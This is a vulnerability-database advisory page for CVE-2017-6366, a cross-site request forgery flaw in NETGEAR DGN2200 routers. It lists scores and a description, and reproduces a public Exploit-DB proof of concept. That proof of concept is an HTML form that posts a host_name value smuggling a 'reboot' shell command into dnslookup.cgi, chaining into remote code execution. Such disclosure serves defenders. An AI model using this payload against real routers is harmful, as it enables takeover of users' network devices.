CVE-2017-6366

high

Published 2017-03-15 · Modified 2026-05-13

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CVSS v3

8.8

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVSS v4 NEW

—

not yet in upstream

VIR risk

9.8

Description

Cross-site request forgery (CSRF) vulnerability in NETGEAR DGN2200 routers with firmware 10.0.0.20 through 10.0.0.50 allows remote attackers to hijack the authentication of users for requests that perform DNS lookups via the host_name parameter to dnslookup.cgi. NOTE: this issue can be combined with CVE-2017-6334 to execute arbitrary code remotely.

Predictions

Exploit likelihood

92%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-41472 webapps hardware text · 1 KB

SivertPL · 2017-02-28

Netgear DGN2200v1/v2/v3/v4 - Cross-Site Request Forgery

text exploit Source: Exploit-DB

# Exploit Title: NETGEAR Firmware DGN2200v1/v2/v3/v4 CSRF which leads to RCE through CVE-2017-6334
# Date: 2017-02-28
# Exploit Author: SivertPL
# Vendor Homepage: http://netgear.com/
# Software Link: http://www.downloads.netgear.com/files/GDC/DGN2200/DGN2200%20Firmware%20Version%201.0.0.20%20-%20Initial%20Release%20(NA).zip
# Version: 10.0.0.20 (initial) - 10.0.0.50 (latest, still 0-day!)
# Tested on: DGN2200v1,v2,v3,v4

# CVE: CVE-2017-6366

A quite dangerous CSRF was discovered on all DGN2200 firmwares.
When chained with either CVE-2017-6077 or CVE-2017-6334, allows for unauthenticated (sic!) RCE after tricking somebody logged in to the router to view a website.

<!DOCTYPE html>
<html>
	<title>netgear router CSRF</title>
	<body>
		<form method="POST" action="http://192.168.0.1/dnslookup.cgi">
			<input type="hidden" name="host_name" value="www.google.com; reboot"> <!-- CVE-2017-6334 payload -->
			<input type="hidden" name="lookup" value="Lookup">
			<button name="clc" value="clc">Would You Dare To?</button> 
		</form>
	</body>
</html>

<!-- 2017-02-27 by SivertPL -->

References

CWEs

CWE-352

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.